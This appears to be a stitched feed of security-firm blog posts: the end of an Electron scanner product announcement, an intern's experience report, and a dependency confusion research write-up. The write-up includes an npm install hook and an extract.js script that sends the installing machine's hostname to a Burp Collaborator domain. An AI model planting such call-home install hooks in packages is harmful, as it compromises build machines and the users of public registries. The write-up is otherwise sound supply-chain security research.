<span class="na">nodeIntegration</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
<span class="na">affinity</span><span class="p">:</span> <span class="dl">"</span><span class="s2">secPrefs</span><span class="dl">"</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="nx">firstWin</span><span class="p">.</span><span class="nx">loadFile</span><span class="p">(</span><span class="dl">'</span><span class="s1">index.html</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">secondWin</span><span class="p">.</span><span class="nx">loadFile</span><span class="p">(</span><span class="dl">'</span><span class="s1">index.html</span><span class="dl">'</span><span class="p">)</span>
</code></pre></div></div>
<p>Looking at the <code class="language-plaintext highlighter-rouge">nodeIntegration</code> setting defined by the two <code class="language-plaintext highlighter-rouge">webPreferences</code> definitions, one might expect the first <code class="language-plaintext highlighter-rouge">BrowserWindow</code> to have access to Node.js primitives while the second one to be isolated. This is not always the case and this inconsistency might leave an insecure <code class="language-plaintext highlighter-rouge">BrowserWindow</code> open to attackers.</p>
<p>The results across different Electron versions are surprising to say the least:</p>
<p><img src="../../../public/images/affinity-tests.png" title="Affinity Diff By Versions" alt="Affinity Diff By Versions" align="center" style="display: block; margin-left: auto; margin-right: auto;" /></p>
<p>The <code class="language-plaintext highlighter-rouge">affinity</code> option has been fully deprecated in v14 as part of the Electron maintainers’ plan to more closely align with Chromium’s process model for security, performance, and maintainability. This example demonstrates two important things around renderers’ settings:</p>
<ul>
<li>The specific Electron in use determines which <code class="language-plaintext highlighter-rouge">webPreferences</code> are applicable and which aren’t</li>
<li>The semantic and security implications of some <code class="language-plaintext highlighter-rouge">webPreferences</code> change based on the specific version of the framework</li>
</ul>
<h3 id="terms-and-price">Terms and Price</h3>
<p><strong>ElectroNG is available for online purchase at $688/year per user</strong>. Visit <a href="https://get-electrong.com/buy.html">https://get-electrong.com/buy.html</a>.</p>
<p>The license does not limit the number of projects, scans, or even installations as long as the software is installed on machines owned by a single individual person. If you’re a consultant, you can run ElectroNg for any number of applications, as long as you are running it and not your colleagues or clients. For bulk orders (over 50 licenses), <a href="mailto:electrong-sales@doyensec.com">contact us</a>!</p>
<h3 id="electronegativity--electrong">Electronegativity & ElectroNG</h3>
<p>With the advent of ElectroNG, we have already received emails asking about the future of <a href="https://github.com/doyensec/electronegativity">Electronegativity</a>.</p>
<p>Electronegativity & ElectroNG will coexist. Doyensec will continue to support the OSS project as we have done for the past years. As usual, we look forward to external contributions in the form of pull requests, <a href="https://github.com/doyensec/electronegativity/issues">issues</a>, and documentation.</p>
<p>ElectroNG’s development focus will be towards features that are important for the paid customers with the ultimate goal of providing an effective and easy-to-use security scanner for Electron apps. Having a team behind this new project will also bring innovation to Electronegativity since bug fixes and features that are applicable to the OSS version will be also ported.</p>
<p>As successfully done in the past by other projects, we hope that the coexistence of a free community and paid versions of the tool will give users the flexibility to pick whatever fits best. Whether you’re an individual developer, a small consulting boutique, or a big enterprise, we believe that Electronegativity & ElectroNG can help eradicate security vulnerabilities from your Electron-based applications.</p>
My Internship Experience at Doyensec2022-08-24T00:00:00+02:00https://blog.doyensec.com/2022/08/24/intern-experience<p>Throughout the Summer of 2022, I worked as an intern for Doyensec. I’ll be describing my experience with Doyensec in this blog post so that other potential interns can decide if they would be interested in applying.</p>
<h3 id="the-recruitment-process">The Recruitment Process</h3>
<p>The recruitment process began with a non-technical call about the internship to make introductions and exchange more information. Once everyone agreed it was a fit, we scheduled a technical challenge where I was given two hours to provide my responses. I enjoyed the challenge and did not find it to be a waste of time.
After the technical challenge, I had two technical interviews with different people (Tony and John). I thought these went really well for questions about web security, but I didn’t know the answers to some questions about other areas of application security I was less familiar with. Since Doyensec performs assessments of non-web applications as well (mobile, desktop, etc.), it made sense that they would ask some questions about non-web topics.
After the final call, I was provided with an offer via email.</p>
<h3 id="the-work">The Work</h3>
<p>As an intern, my time was divided between working on an internal training presentation, conducting research, and performing security assessments.
Creating the training presentation allowed me to learn more about a technical topic that will probably be useful for me in the future, whether at Doyensec or not. I used some of my research time to learn about the topic and make the presentation. My presentation was on the advanced features of <a href="https://www.semgrep.dev/">Semgrep</a>, the open-source static code analysis tool. Doyensec often has cross-training sessions where members of the team demonstrate new tools and techniques, or just the latest “Best Bug” they found on an engagement.</p>
<p>Conducting research was a good experience as an intern because it allowed me to learn more about the research topic, which in my case was Electron and its implementation of web API permissions. Don’t worry too much about not having a good research topic of your own already – there are plenty of things that have already been selected as options, and you can ask for help choosing a topic if you’re not sure what to research. My research topic was originally someone else’s idea.</p>
<p>My favorite part of the internship was helping with security assessments. I was able to work as a normal consultant with some extra guidance. I learned a lot about different web frameworks and programming languages. I was able to see what technologies real companies are using and review real source code. For example, before the internship, I had very limited experience with applications written in Go, but now I feel mostly comfortable testing Go web applications. I also learned more about mobile applications, which I had limited experience with. In addition to learning, I was able to provide actionable findings to businesses to help reduce their risk. I found vulnerabilities of all severities and wrote reports for these with recommended remediation steps.</p>
<h3 id="should-you-become-an-intern">Should You Become an Intern?</h3>
<p>When I was looking for an internship, I wanted to find a role that would let me learn a lot. Most of the other factors were low-priority for me because the role is temporary. If you really enjoy application security and want to learn more about it, this internship is a great way to do that. The people at Doyensec are very knowledgeable about a wide variety of application security topics, and are happy to share their knowledge with an intern.</p>
<p>Even though my priority was learning, it was also nice that the work is performed remotely and with flexible hours. I found that some days I preferred to stop work at around 2-3 PM and then continue in the night. I think these conditions are desirable to anyone, not just interns.</p>
<p>As for qualifications, Doyensec has stated that the ideal candidate:</p>
<ul>
<li>Already has some experience with manual source code review and Burp Suite / OWASP ZAP</li>
<li>Learns quickly</li>
<li>Should be able to prepare reports in English</li>
<li>Is self-organized</li>
<li>Is able to learn from his/her mistakes</li>
<li>Has motivation to work/study and show initiative</li>
<li>Must be communicative (without this it is difficult to teach effectively)</li>
<li>Brings something to the mix (e.g., creativity, academic knowledge, etc.)</li>
</ul>
<p>My experience before the internship consisted mostly of bug bounty hunting and CTFs. There are not many other opportunities for college students with zero experience, so I had spent nearly two years bug hunting part-time before the internship. I also had the OSWE certification to demonstrate capability for source code review, but this is definitely not required (they’ll test you anyway!). Simply being an active participant in CTFs with a focus on web security and code review may be enough experience. You may also have some other way of learning about web security if you don’t usually participate in CTFs.</p>
<h3 id="final-thoughts">Final Thoughts</h3>
<p>I enjoyed my internship at Doyensec. There was a good balance between learning and responsibility that has prepared me to work in an application security role at Doyensec or elsewhere.</p>
<p><strong>If you’re interested in the role and think you’d make a good fit, apply via our careers page:</strong> <a href="https://www.careers-page.com/doyensec-llc">https://www.careers-page.com/doyensec-llc</a>. We’re now accepting candidates for the Fall Internship 2022.</p>
Dependency Confusion2022-07-21T00:00:00+02:00https://blog.doyensec.com/2022/07/21/dependency-confusion<p>On Feb 9th, 2022 PortSwigger <a href="https://portswigger.net/research/top-10-web-hacking-techniques-of-2021">announced</a> Alex Birsan’s <a href="https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610">Dependency Confusion</a> as the winner of the Top 10 web hacking techniques of 2021. Over the past year this technique has gained a lot of attention. Despite that, in-depth information about hunting for and mitigating this vulnerability is scarce.</p>
<p>I have always believed the best way to understand something is to get hands-on experience. In the following post, I’ll show the results of my research that focused on creating an all-around tool (named Confuser) to test and exploit potential Dependency Confusion vulnerabilities in the wild. To validate the effectiveness, we looked for potential Dependency Injection vulnerabilities in top ElectronJS applications on Github (<em>spoiler: it wasn’t a great idea!</em>).</p>
<p>The tool has helped Doyensec during engagements to ensure that our clients are safe from this threat, and we believe it can facilitate testing for researchers and blue-teams too.</p>
<h2 id="so-what-is-dependency-confusion">So… what is Dependency Confusion?</h2>
<p>Dependency confusion is an attack against the build process of the application. It occurs as a result of a misconfiguration of the private dependency repositories. Vulnerable configurations allow downloading versions of local packages from a main public repository (e.g., <em>registry.npmjs.com</em> for NPM). When a private package is registered only in a local repository, an attacker can upload a malicious package to the main repository with the same name and higher version number. When a victim updates their packages, malicious code will be downloaded and executed on a build or developer machine.</p>
<h3 id="why-is-it-so-hard-to-study-dependency-injection">Why is it so hard to study Dependency Injection?</h3>
<p>There are multiple reasons why, despite all the attention, Dependency Confusion seems to be so unexplored.</p>
<h4 id="there-are-plenty-of-dependency-management-systems">There are plenty of dependency management systems</h4>
<p>Each programming language utilizes different package management tools, most with their own repositories. Many languages have multiple of them. JavaScript alone has <a href="https://www.npmjs.com/">NPM</a>, <a href="https://yarnpkg.com/">Yarn</a> and <a href="https://bower.io/">Bower</a> to name a few. Each tool comes with its own ecosystem of repositories, tools, options for local package hosting (or lack thereof). It is a significant time cost to include another repository system when working with projects utilizing different technology stacks.</p>
<p>In my research I have decided to focus on the NPM ecosystem. The main reason for that is its popularity. It’s a leading package management system for JavaScript and my secondary goal was to test ElectronJS applications for this vulnerability. Focusing on NPM would guarantee coverage on most of the target applications.</p>
<h4 id="actual-exploitation-requires-interaction-with-3rd-party-services">Actual exploitation requires interaction with 3rd party services</h4>
<p>In order to exploit this vulnerability, the researcher needs to upload a malicious package to a public repository. Rightly so, most of them actively work against such practices. On NPM, malicious packages are flagged and removed along with banning of the owner account.</p>
<p>During the research, I was interested in observing how much time an attacker has before their payload is removed from the repository. Additionally, NPM is not actually a target of the attack, so among my goals was to minimize the impact on the platform itself and its users.</p>
<h4 id="reliable-information-extraction-from-targets-is-hard">Reliable information extraction from targets is hard</h4>
<p>In the case of a successful exploitation, a target machine is often a build machine inside a victim organization’s network. While it is a great reason why this attack is so dangerous, extracting information from such a network is not always an easy task.</p>
<p>In his original research, Alex proposes DNS extraction technique to extract information of attacked machines. This is the technique I have decided to use too. It requires a small infrastructure with a custom DNS server, unlike most web exploitation attacks, where often only an HTTP Proxy or browser is enough. This highlights why building tools such as mine is essential, if the community is to hunt these bugs reliably.</p>
<h2 id="the-tool">The tool</h2>
<p>So, how to deal with those problems? I have decided to try and create <strong>Confuser</strong> - a tool that attempts to solve the aforementioned issues.</p>
<p>The tool is OSS and available at <a href="https://github.com/doyensec/confuser">https://github.com/doyensec/confuser</a>.</p>
<blockquote>
<p>Be respectful and don’t create problems to our friends at NPM!</p>
</blockquote>
<h2 id="the-process">The process</h2>
<p>Researching any Dependency Confusion vulnerability consists of three steps.</p>
<h3 id="step-1-reconnaissance">Step 1) Reconnaissance</h3>
<p>Finding Dependency Confusion bugs requires a package file that contains a list of application dependencies. In case of projects utilizing NPM, the <code class="language-plaintext highlighter-rouge">package.json</code> file holds such information:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Doyensec-Example-Project"</span><span class="p">,</span><span class="w">
</span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1.0.0"</span><span class="p">,</span><span class="w">
</span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"This is an example package. It uses two dependencies: one is a public one named axios. The other one is a package hosted in a local repository named doyensec-library."</span><span class="p">,</span><span class="w">
</span><span class="nl">"main"</span><span class="p">:</span><span class="w"> </span><span class="s2">"index.js"</span><span class="p">,</span><span class="w">
</span><span class="nl">"author"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Doyensec LLC <info@doyensec.com>"</span><span class="p">,</span><span class="w">
</span><span class="nl">"license"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ISC"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dependencies"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"axios"</span><span class="p">:</span><span class="w"> </span><span class="s2">"^0.25.0"</span><span class="p">,</span><span class="w">
</span><span class="nl">"doyensec-local-library"</span><span class="p">:</span><span class="w"> </span><span class="s2">"~1.0.1"</span><span class="p">,</span><span class="w">
</span><span class="nl">"another-doyensec-lib"</span><span class="p">:</span><span class="w"> </span><span class="s2">"~2.3.0"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>When a researcher finds a <code class="language-plaintext highlighter-rouge">package.json</code> file, their first task is to identify potentially vulnerable packages. That means packages that are not available in the public repository. The process of verifying the existence of a package seems pretty straightforward. Only one HTTP request is required. If a response status code is anything but 200, the package probably does not exist:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">check_package_exists</span><span class="p">(</span><span class="n">package_name</span><span class="p">):</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">NPM_ADDRESS</span> <span class="o">+</span> <span class="s">"package/"</span> <span class="o">+</span> <span class="n">package_name</span><span class="p">,</span> <span class="n">allow_redirects</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="k">return</span> <span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">)</span>
</code></pre></div></div>
<p>Simple? Well… almost. NPM also allows scoped package names formatted as follows: <code class="language-plaintext highlighter-rouge">@scope-name/package-name</code>. In this case, package can be a target for Dependency Confusion if an attacker can register a scope with a given name. This can be also verified by querying NPM:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">check_scope_exists</span><span class="p">(</span><span class="n">package_name</span><span class="p">):</span>
<span class="n">split_package_name</span> <span class="o">=</span> <span class="n">package_name</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
<span class="n">scope_name</span> <span class="o">=</span> <span class="n">split_package_name</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">:]</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">NPM_ADDRESS</span> <span class="o">+</span> <span class="s">"~"</span> <span class="o">+</span> <span class="n">scope_name</span><span class="p">,</span> <span class="n">alow_redirects</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
</code></pre></div></div>
<p>The tool I have built allows the streamlining of this process. A researcher can upload a <code class="language-plaintext highlighter-rouge">package.json</code> file to my web application. In the backend, the file will be parsed, and have its dependencies iterated. As a result, a researcher receives a clear table with potentially vulnerable packages and the versions for a given project:</p>
<p><img src="../../../public/images/depconfusion1.png" alt="Vulnerable packages view" align="center" /></p>
<p>The downside of this method is the fact, that it requires enumerating the NPM service and dozens of HTTP requests per each project. In order to ease the strain put on the service, I have decided to implement a local cache. Any package name that has been once identified as existing in the NPM registry is saved in the local database and skipped during consecutive scans. Thanks to that, there is no need to repeatedly query the same packages. After scanning about 50 <code class="language-plaintext highlighter-rouge">package.json</code> files scraped from Github I have estimated that the caching has decreased the number of required requests by over 40%.</p>
<h3 id="step-2-payload-generation-and-upload">Step 2) Payload generation and upload</h3>
<p>Successful exploitation of a Dependency Confusion vulnerability requires a package that will call home after it has been installed by the victim. In the case of the NPM, the easiest way to do this is by exploiting <code class="language-plaintext highlighter-rouge">install</code> hooks. NPM packages allow hooks that ran each time a given package is installed. Such functionality is the perfect place for a dependency payload to be triggered. The <code class="language-plaintext highlighter-rouge">package.json</code> template I used looks like the following:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="err">package_name</span><span class="p">},</span><span class="w">
</span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="err">package_version</span><span class="p">},</span><span class="w">
</span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"This package is a proof of concept used by Doyensec LLC to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package."</span><span class="p">,</span><span class="w">
</span><span class="nl">"main"</span><span class="p">:</span><span class="w"> </span><span class="s2">"index.js"</span><span class="p">,</span><span class="w">
</span><span class="nl">"author"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Doyensec LLC <info@doyensec.com>"</span><span class="p">,</span><span class="w">
</span><span class="nl">"license"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ISC"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dependencies"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">},</span><span class="w">
</span><span class="nl">"scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"install"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node extract.js {project_id}"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Please note the description that informs users and maintainers about the purpose of the package. It is an attempt to distinguish the package from a malicious one, and it serves to inform both NPM and potential victims about the nature of the operation.</p>
<p>The <code class="language-plaintext highlighter-rouge">install</code> hook runs the <code class="language-plaintext highlighter-rouge">extract.js</code> file which attempts to extract minimal data about the machine it has been run on:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">https</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">https</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">os</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">os</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">hostname</span> <span class="o">=</span> <span class="nx">os</span><span class="p">.</span><span class="nx">hostname</span><span class="p">();</span>
<span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">TextEncoder</span><span class="p">().</span><span class="nx">encode</span><span class="p">(</span>
<span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span>
<span class="na">payload</span><span class="p">:</span> <span class="nx">hostname</span><span class="p">,</span>
<span class="na">project_id</span><span class="p">:</span> <span class="nx">process</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="p">})</span>
<span class="p">);</span>
<span class="kd">const</span> <span class="nx">options</span> <span class="o">=</span> <span class="p">{</span>
<span class="na">hostname</span><span class="p">:</span> <span class="nx">process</span><span class="p">.</span><span class="nx">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">.</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">hostname</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">.jylzi8mxby9i6hj8plrj0i6v9mff34.burpcollaborator.net</span><span class="dl">'</span><span class="p">,</span>
<span class="na">port</span><span class="p">:</span> <span class="mi">443</span><span class="p">,</span>
<span class="na">path</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span>
<span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
<span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/json</span><span class="dl">'</span><span class="p">,</span>
<span class="dl">'</span><span class="s1">Content-Length</span><span class="dl">'</span><span class="p">:</span> <span class="nx">data</span><span class="p">.</span><span class="nx">length</span>
<span class="p">},</span>
<span class="na">rejectUnauthorized</span><span class="p">:</span> <span class="kc">false</span>
<span class="p">}</span>
<span class="kd">const</span> <span class="nx">req</span> <span class="o">=</span> <span class="nx">https</span><span class="p">.</span><span class="nx">request</span><span class="p">(</span><span class="nx">options</span><span class="p">,</span> <span class="nx">res</span> <span class="o">=></span> <span class="p">{});</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">end</span><span class="p">();</span>
</code></pre></div></div>
<p>I’ve decided to save time on implementing a fake DNS server and use the existing infrastructure provided by Burp Collaborator. The file will use a given project’s ID and victim’s hostname as subdomains and try to send an HTTP request to the Burp Collaborator domain. This way my tool will be able to assign callbacks to proper projects along with the victims’ hostnames.</p>
<p>After the payload generation, the package is published to the public NPM repository using the npm command itself: <code class="language-plaintext highlighter-rouge">npm publish</code>.</p>
<h3 id="step-3-callback-aggregation">Step 3) Callback aggregation</h3>
<p>The final step in the chain is receiving and aggregating the callbacks. As stated before, I have decided to use a Burp Collaborator infrastructure. To be able to download callbacks to my backend I have implemented a simple Burp Collaborator client in Python:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">BurpCollaboratorClient</span><span class="p">():</span>
<span class="n">BURP_DOMAIN</span> <span class="o">=</span> <span class="s">"polling.burpcollaborator.net"</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">colabo_key</span><span class="p">,</span> <span class="n">colabo_subdomain</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">colabo_key</span> <span class="o">=</span> <span class="n">colabo_key</span>
<span class="bp">self</span><span class="p">.</span><span class="n">colabo_subdomain</span> <span class="o">=</span> <span class="n">colabo_subdomain</span>
<span class="k">def</span> <span class="nf">poll</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">params</span> <span class="o">=</span> <span class="p">{</span><span class="s">"biid"</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">colabo_key</span><span class="p">}</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">"User-Agent"</span><span class="p">:</span> <span class="s">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"</span><span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span>
<span class="s">"https://"</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">BURP_DOMAIN</span> <span class="o">+</span> <span class="s">"/burpresults"</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span><span class="c1">#, proxies=PROXIES, verify=False)
</span>
<span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">!=</span> <span class="mi">200</span><span class="p">:</span>
<span class="k">raise</span> <span class="n">Error</span><span class="p">(</span><span class="s">"Failed to poll Burp Collaborator"</span><span class="p">)</span>
<span class="n">result_parsed</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
<span class="k">return</span> <span class="n">result_parsed</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"responses"</span><span class="p">,</span> <span class="p">[])</span>
</code></pre></div></div>
<p>After polling, the returned callbacks are parsed and assigned to the proper projects. For example if anyone runs <code class="language-plaintext highlighter-rouge">npm install</code> on an example project I have shown before, it’ll render the following callbacks in the application:</p>
<p><img src="../../../public/images/depconfusion2.png" alt="Callbacks" align="center" /></p>
<h2 id="test-run">Test run</h2>
<p>To validate the effectiveness of Confuser, we decided to test Github’s top 50 ElectronJS applications.</p>
<p>I have extracted a list of Electron Applications from the official ElectronJS repository available <a href="https://github.com/electron/apps/tree/master/apps">here</a>. Then, I used the Github API to sort the repositories by the number of stars. For the top 50, I have scraped the <code class="language-plaintext highlighter-rouge">package.json</code> files.</p>
<p>This is the Node script to scrape the files:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">50</span> <span class="o">&&</span> <span class="nx">i</span> <span class="o"><</span> <span class="nx">repos</span><span class="p">.</span><span class="nx">length</span><span class="p">;)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">repo</span> <span class="o">=</span> <span class="nx">repos</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span>
<span class="k">await</span> <span class="nx">octokit</span>
<span class="p">.</span><span class="nx">request</span><span class="p">(</span><span class="dl">"</span><span class="s2">GET /repos/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">repo</span><span class="p">.</span><span class="nx">repo</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/commits?per_page=1</span><span class="dl">"</span><span class="p">,</span> <span class="p">{})</span>
<span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">response</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">sha</span> <span class="o">=</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">sha</span>
<span class="k">return</span> <span class="nx">octokit</span><span class="p">.</span><span class="nx">request</span><span class="p">(</span><span class="dl">"</span><span class="s2">GET /repos/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">repo</span><span class="p">.</span><span class="nx">repo</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/git/trees/:sha?recursive=1</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">sha</span><span class="dl">"</span><span class="p">:</span> <span class="nx">sha</span>
<span class="p">});</span>
<span class="p">})</span>
<span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">response</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="nx">file_index</span> <span class="k">in</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">tree</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">file</span> <span class="o">=</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">tree</span><span class="p">[</span><span class="nx">file_index</span><span class="p">];</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">file</span><span class="p">.</span><span class="nx">path</span><span class="p">.</span><span class="nx">endsWith</span><span class="p">(</span><span class="dl">"</span><span class="s2">package.json</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">octokit</span><span class="p">.</span><span class="nx">request</span><span class="p">(</span><span class="dl">"</span><span class="s2">GET /repos/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">repo</span><span class="p">.</span><span class="nx">repo</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/git/blobs/:sha</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">sha</span><span class="dl">"</span><span class="p">:</span> <span class="nx">file</span><span class="p">.</span><span class="nx">sha</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="kc">null</span><span class="p">;</span>
<span class="p">})</span>
<span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">response</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">response</span><span class="p">)</span> <span class="k">return</span> <span class="kc">null</span><span class="p">;</span>
<span class="nx">i</span><span class="o">++</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">package_json</span> <span class="o">=</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">content</span><span class="p">,</span> <span class="dl">'</span><span class="s1">base64</span><span class="dl">'</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="dl">'</span><span class="s1">utf-8</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">repoNameSplit</span> <span class="o">=</span> <span class="nx">repo</span><span class="p">.</span><span class="nx">repo</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">writeFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">package_jsons/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">repoNameSplit</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span> <span class="dl">'</span><span class="s1">_</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">repoNameSplit</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">.json</span><span class="dl">"</span><span class="p">,</span> <span class="nx">package_json</span><span class="p">);</span>
<span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The script takes the newest commit from each repo and then recursively searches its files for any named <code class="language-plaintext highlighter-rouge">package.json</code>. Such files are downloaded and saved locally.</p>
<p>After downloading those files, I uploaded them to the Confuser tool. It resulted in scanning almost 3k dependency packages. Unfortunately only one application had some potential targets. As it turned out, it was taken from an archived repository, so despite having a “malicious” package in the NPM repository for over 24h (after which, it was removed by NPM) I’d received no callbacks from the victim. I had received a few callbacks from some machines that seemed to have downloaded the application for analysis. This also highlighted a problem with my payload - getting only the hostname of the victim might not be enough to distinguish an actual victim from false positives. A more accurate payload might involve collecting information such as local paths and local users which opens up to privacy concerns.</p>
<p>Example false positives:
<img src="../../../public/images/depconfusion3.png" alt="False positives" align="center" /></p>
